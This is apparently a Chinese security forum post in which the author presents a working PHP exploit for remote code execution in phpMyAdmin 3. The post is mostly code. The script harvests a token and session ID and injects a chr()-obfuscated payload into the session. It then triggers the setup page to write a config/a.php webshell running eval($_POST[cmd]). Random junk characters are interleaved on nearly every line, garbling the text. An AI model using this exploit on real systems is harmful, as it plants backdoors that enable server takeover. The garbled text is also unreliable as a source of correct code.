最近在家做专职奶爸,不谙圈内事很多months了,博客也无更新。
& t- A- a$ S) h# T( \ |* W- |- o- Z, D2 B9 Y$ D! Q; |
昨夜带孩子整夜未眠,看到黑哥在php security群里关于phpmyadmin3漏洞的讨论,虽然之前没看过漏洞代码,不过前段时间还是在微博上看到wofeiwo的exp了,不过据黑哥说有不鸡肋的利用方法,于是夜里翻代码出来研究了翻,写出了这个冷饭exp,由于我搞的晚了,之前已经很多人研究了写exp了,于是我这个属于炒冷饭,权当研究研究打发时间了。
1 `5 r0 s0 r6 J) @7 w. K) N8 z
首先赞下wofeiwo的python版本的exp,再赞下wofeiwo跟superhei的钻研精神,学习的榜样啊。不过之前那个exp利用起来是有一些限制的:
3 t3 P/ D5 |2 z2 V. F一是session.auto_start = 1;
2 h) M6 ], t$ J9 @9 W二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。& ]- w2 o1 F3 z5 e# K) h
当然还有第三点大家都不可以逾越的鸿沟:config目录存在且可写。* n4 l3 V! T* y* @9 i( o
% m8 o2 Z* {" @* [5 q
在群里看了黑哥的发言后,再看了下代码,发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。
/ \* J* l- K7 o8 i& G2 X( J' l, }: I3 a, l0 z0 g
于是写了这个php版本的exp,代码如下:
% e' t* r% M. K9 R% ~5 B3 ?( q/ u9 J, j( [
#!/usr/bin/php
! Q z$ l* R. ^5 Z! w<?php
" j2 V6 z6 F5 `" U/ V0 Fprint_r('
/ H" F* q# @2 c. r! u+---------------------------------------------------------------------------+2 K3 f. C4 x- `; ^3 K4 p6 a5 d
pma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]( d: N+ I5 c7 Z' D
by oldjun(www.oldjun.com)
2 `* T1 v4 o, k/ Z6 Nwelcome to www.t00ls.net2 D! G" P# H& a6 H
mail: oldjun@gmail.com* G. ^& n' s% ]
Assigned CVE id: CVE-2011-25054 F x# z5 R+ |# O3 ?8 k9 E$ h
+---------------------------------------------------------------------------+' H6 j; k2 e% z1 f$ L9 M
');
$ @, A: [: D% T* g( F3 Q! y L
/ l7 l$ @. D9 a3 D" p1 C/** J5 a9 ~+ b& s8 C. m" @) n* c
* working when the directory:"config" exists and is writeable.; h0 {/ ]1 a; d5 y/ _( E
**/
. B5 d, L+ J3 o- C : D! ]% [/ {* g2 [' M) y
if ($argc < 3) {
# p4 B7 p( p8 P- y6 v print_r('; E6 S! e& v. z! r
+---------------------------------------------------------------------------+* H$ D$ n) e3 q) {# }6 t5 F2 Y
Usage: php '.$argv[0].' host path1 n" ~9 T( O6 f6 i
host: target server (ip/hostname)
' R+ W: M, @) q3 b Q5 s" `path: path to pma3
" b( _! B8 _' H5 K2 a! p& SExample:, u v6 V$ L5 A$ E3 }+ f
php '.$argv[0].' localhost /pma/% @& m2 C" L1 N/ A# i' l
+---------------------------------------------------------------------------+- `# D$ R1 b# F% S i
');
7 V* M8 {6 o& K& m `& G& U exit;% G& t. E4 y+ W0 c* m; j
}
8 A \3 G* c t! y6 u* [, S* N% k# f/ i0 D2 j" b
$host = $argv[1];$ ~7 \9 h. x5 K' f
$path = $argv[2]; s& n1 B- A) g- |8 z/ S$ E
[; `; c; I" i" `7 D' K6 S& V/**5 f9 |/ r& M$ i7 w- c
* Try to determine if the directory:"config" exists
3 F: f; a) ?1 v. D U; u- K**/% y" ]# V+ h! y2 q. O* F. i
echo "[+] Try to determine if the directory:config exists....\n";' }, g( f: v5 G( Q- W
$returnstr=php_request('config/');0 ]% Z: Q! ?. [0 F
if(strpos($returnstr,'404')){! l( z- ~' [7 m: h" {" l
exit("[-] Exploit Failed! The directory:config do not exists!\n");
! {1 w) h! |$ l: l}/ ]$ f. s8 T% I# |4 a
7 z, Q3 ~/ s6 m+ S, k/**
/ E2 S I/ i! s/ M * Try to get token and sessionid9 ^: s+ [/ E3 y" a! R
**/
! M% B* o, I& eecho "[+] Try to get token and sessionid....\n";
7 p0 j' Z; z* k$result=php_request('index.php');
! @5 E) Y9 W/ W8 t: S' Tpreg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);' F- s7 y( ^6 D9 q/ Z5 b. T
$token=$resp[3];( r r6 n, D. O* R0 ]: v
$sessionid=$resp[1];
! p! f$ E% v s8 p) y9 W# z' iif($token && $sessionid){
- a% p! S3 v' k, x4 J' c" ^$ ` echo "[+] token token\n";
0 L3 k& Z" g% `- e: L) j echo "[+] Session ID sessionid\n";
% ?/ Y- \/ K* M* I2 C% R}else{% `# q. `1 k% v+ S/ W. x
exit("[-] Can't get token and Session ID,Exploit Failed!\n");: j, `* R" e$ W) W" h% E
}
8 {$ x8 Q* ?: b7 J2 {: e" U1 F% \2 ]2 w/ n+ q: O' p
/**
; Y. M. ^5 a8 Z$ b * Try to insert shell into session5 R& p G- u* ^) w$ ~2 B& ?9 c* `
**/
2 {4 @0 ^/ t2 J( |% hecho "[+] Try to insert shell into session....\n";# d7 O! U" r/ T4 Z2 \
php_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.4 z5 M3 J5 L! z$ A4 e( u. J( Z: N
, P8 v N7 X `% U0 C2 G b! `/**
) S" b6 J9 h- I * Try to create webshell
7 N. ]) n. L% Q0 J3 d4 s0 d**/
- c! |) k1 A2 ]echo "[+] Try to create webshell....\n";
$ M6 i9 ^; I6 qphp_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);" l# N0 O0 h. W% E. q6 I, Z
/**
7 R" M( P0 E9 w9 m, k! P3 a * Try to check if the webshell was created successfully
' d& S1 I8 D8 ]$ W M6 U# I4 E% O**/0 h, ~8 W1 B; t2 m/ a- A" }1 w
echo "[+] Try to check if the webshell was created successfully....\n";
1 W- m4 J! i8 Q/ O1 ~" k$content=php_request('config/config.inc.php');+ w# m0 V2 Q [9 R3 K) y
if(strpos($content,'t00ls')){' _6 f. S% T2 [ b
echo "[+] Congratulations! Expoilt successfully....\n";
4 I) A a1 f2 g echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";
& J3 y/ c' N! z! P7 W}else{
; r; H% a6 J" x, b/ P+ C exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");7 s4 w& \& }+ K( R% a1 p
}# P4 H' n6 _/ ?0 Q: d4 M1 \% P
& P" ?$ Z* u' e6 E6 N
function php_request($url,$data='',$cookie=''){
1 }) c' Q* L; r1 b$ P( \# r global $host, $path;0 e% ~& b/ n$ C6 z0 \9 q5 E: Q0 [
% @2 h% ^& |7 m! M- j+ k $method=$data?'POST':'GET';
& Z2 p( A8 J5 H# m7 e. f# z" h7 r / H% ?! f l' c/ K, k( D
$packet = $method." ".$path.$url." HTTP/1.1\r\n";$ w" p0 {% i7 t8 s' m0 V
$packet .= "Accept: */*\r\n";
2 H: y4 {6 k% X0 S7 ^& h4 @7 G/ U $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";( Q' B7 k) ]4 D' N' e: P1 ?2 j
$packet .= "Host: $host\r\n";
0 [3 Y+ O) l3 \ $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";1 [& h" z: y- _7 e. S: o
$packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";, |% S* l* o8 O S, g, o
$packet .= $cookie?"Cookie: $cookie\r\n":"";0 t) e5 j; a/ Z3 N+ o; F' d$ y
$packet .= "Connection: Close\r\n\r\n";+ W( U, N$ m! ]) W4 J
$packet .= $data?$data:"";% ~$ N- G: r# u) ~# X* R9 V
/ O3 a S5 i* \0 z, c $fp = fsockopen(gethostbyname($host), 80);
4 ^$ v+ L' O0 _, ~ if (!$fp) {) s1 Q+ ]5 _' {5 V6 Y: \( u# x6 W
echo 'No response from '.$host; die;$ v8 R/ z% J% l! f1 d
}
3 [6 q$ `6 l' s) o2 `9 U fputs($fp, $packet);' H, s* s4 i, s# |
C+ d2 d2 e6 ?) k $resp = '';
& t8 C9 n6 `1 l& t
/ I- O+ n1 s8 o2 N* R3 D' E% C }0 s while ($fp && !feof($fp))" U, U. y( A5 P! h# Z8 C& h
$resp .= fread($fp, 1024);# n- Q5 } m, }' |9 X+ B! n1 O
% {8 @9 W3 `5 t8 v6 n$ ^4 S
return $resp;* h" l2 V, ~4 t3 C) F! M3 ?
}" z6 X+ l& N+ Q; p
. b; H) Y: _% R3 {( P5 G+ ^' m?>
K9 x% r4 K! |, p/ \4 K( A+ i. |